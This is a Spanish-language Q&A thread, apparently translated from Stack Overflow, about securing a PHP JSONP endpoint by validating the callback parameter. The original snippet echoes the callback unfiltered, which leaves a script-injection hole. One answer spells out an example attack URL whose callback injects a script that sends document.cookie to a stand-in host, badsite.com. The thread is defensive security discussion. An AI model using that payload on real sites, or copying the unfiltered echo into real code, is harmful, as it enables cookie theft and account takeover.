2010-06-27 15 views
23
<?php header('content-type: application/json'); 

$json = json_encode($data); 

echo isset($_GET['callback']) 
    ? "{$_GET['callback']}($json)" 
    : $json; 

¿O debería, por ejemplo, filtrar la variable $_GET['callback'] para que solo contenga un nombre de función de JavaScript válido? Si es así, ¿cuáles son los nombres de función de JavaScript válidos?¿Esto es seguro para proporcionar JSONP?

¿O no está filtrando esa variable un poco con JSONP?


solución actual: blog acerca de mi solución actual en http://www.geekality.net/?p=1021. En resumen, por ahora, tengo el siguiente código, que se espera debe ser bastante segura:

<?php header('content-type: application/json; charset=utf-8'); 

function is_valid_callback($subject) 
{ 
    $identifier_syntax 
     = '/^[$_\p{L}][$_\p{L}\p{Mn}\p{Mc}\p{Nd}\p{Pc}\x{200C}\x{200D}]*+$/u'; 

    $reserved_words = array('break', 'do', 'instanceof', 'typeof', 'case', 
     'else', 'new', 'var', 'catch', 'finally', 'return', 'void', 'continue', 
     'for', 'switch', 'while', 'debugger', 'function', 'this', 'with', 
     'default', 'if', 'throw', 'delete', 'in', 'try', 'class', 'enum', 
     'extends', 'super', 'const', 'export', 'import', 'implements', 'let', 
     'private', 'public', 'yield', 'interface', 'package', 'protected', 
     'static', 'null', 'true', 'false'); 

    return preg_match($identifier_syntax, $subject) 
     && ! in_array(mb_strtolower($subject, 'UTF-8'), $reserved_words); 
} 

$data = array(1, 2, 3, 4, 5, 6, 7, 8, 9); 
$json = json_encode($data); 

# JSON if no callback 
if(! isset($_GET['callback'])) 
    exit($json); 

# JSONP if valid callback 
if(is_valid_callback($_GET['callback'])) 
    exit("{$_GET['callback']}($json)"); 

# Otherwise, bad request 
header('Status: 400 Bad Request', true, 400); 
+3

Como JSONP es en realidad Javascript, el tipo mime sería 'text/javascript' (o' application/javascript'). –

+2

@Casey: Ah, entonces ¿debería establecer el tipo de contenido a 'application/json' si callback no está configurado, y' application/javascript' si es? – Svish

+2

Teóricamente, sí, pero no creo que muchos navegadores realmente presten atención al tipo de mimo. :) –

Respuesta

17

No, si tiene la intención de limitar el JSONP para seleccionar dominios. Especifique también la codificación o las personas que no deberían poder acceder al JSON pueden posiblemente realizar ataques de inyección UTF-7. Utilice esta cabecera en su lugar:

header('Content-Type: application/json; charset=utf-8'); 

Si se supone que debe ser un servicio público JSONP, entonces sí que es seguro, y también utilizan application/javascript en lugar de application/json.

+0

Ooh, nunca había escuchado sobre eso antes. ¡Creo que definiré la codificación! – Svish

+3

Excepto por una respuesta JSONP, debe usar application/javascript en lugar de application/json, ya que JSONP es en realidad código javascript. –

+0

No es necesariamente seguro. JSONP funciona según el principio de establecer datos o llamar a una función, no la capacidad de insertar código en el contexto del servidor JSONP. Por lo tanto, * debe * filtrar el nombre de devolución de llamada. – Christian

2

Creo que es seguro. Siempre y cuando no haga eco de $ _GET ['callback'] en otra página sin escaparse. El que hace la solicitud puede poner lo que quiera en él, creo que siempre serán sus problemas, no los tuyos. Esta página proporciona la definición de un nombre de función js válido: http://www.functionx.com/javascript/Lesson05.htm

9

Para estar seguro, debe codificar callback para permitir solo nombres de funciones JS válidas. Nada complejo, simplemente no permita a los desarrolladores finales inyectar cualquier javascript. Aquí hay algo de código:

<?php 

    header('Content-Type: application/json; charset=utf-8'); // Thanks Eli 

    /** 
    * Ensures that input string matches a set of whitelisted characters and 
    * replaces unlisted ones with a replacement string (defaults to underscore). 
    * @param string $orig The original text to filter. 
    * @param string $replace The replacement string (default is underscore). 
    * @param string The original text with bad characters replaced with $replace. 
    * @link https://github.com/uuf6429/K2F/blob/master/K2F-DEV/core/security.php#L263 
    */ 
    function strtoident($orig,$replace=''){ 
     $orig=(string)$orig;     // ensure input is a string 
     for($i=0; $i<strlen($orig); $i++){ 
      $o=ord($orig{$i}); 
      if(!( (($o>=48) && ($o<=57))  // numbers 
       || (($o>=97) && ($o<=122)) // lowercase 
       || (($o>=65) && ($o<=90))  // uppercase 
       || ($orig{$i}=='_')))   // underscore 
        $orig{$i}=$replace;  // check failed, use replacement 
     } 
     return $orig; 
    } 

    $json=json_encode($data) 

    echo isset($_GET['callback']) 
     ? strtoident($_GET['callback']).'('.$json.');' 
     : $json; 

?> 

Editar:

La razón es evitar los piratas informáticos que apunta víctimas inocentes a:

http://yoursite.com/jsonp.php?callback=(function(){ $(document.body).append('<script type="text/javascript" src="http://badsite.com/?usercookies='+document.cookie+'"></script>'); })// 

¿Qué se puede dividir a:

(function(){ 
    $(document.body).append(
     '<script type="text/javascript" src="http://badsite.com/?usercookies='+document.cookie+'"></script>' 
    ); 
})//("whatever"); 

Con la última parte siendo t él es el que codificó, se cancela fácilmente con un comentario (aunque no es necesario que explote). Básicamente, el hacker conoce las cookies del usuario (entre otras cosas) lo que le ayuda a obtener acceso a la cuenta del usuario en su sitio web.

Editar: UTF-8 Compatibilidad. Para fundamentar mis reclamos, read here. O bien:

Al igual que UTF-16 y UTF-32, UTF-8 puede representar todos los caracteres del juego de caracteres Unicode. A diferencia de ellos, es compatible con versiones anteriores de ASCII y evita las complicaciones de endianness y byte order marks (BOM).

+0

¿Es seguro este UTF-8 y todo? – Svish

+0

Es posible que también deba permitir períodos, si tiene funciones de espacio de nombres. –

+0

@Svish: la función en sí misma solo funciona con el conjunto ASCII. Entonces, si está en UTF-8, solo se admiten caracteres básicos (ya que "A" en ASCII == "A" en UTF-8). Si el OP quiere más personajes, simplemente debería cambiar la función. JW - No puedo estar 100% seguro de que no podría causar problemas adicionales. El OP debería agregar esto bajo su propio riesgo (y/o quizás también preguntar a otras personas). – Christian

Cuestiones relacionadas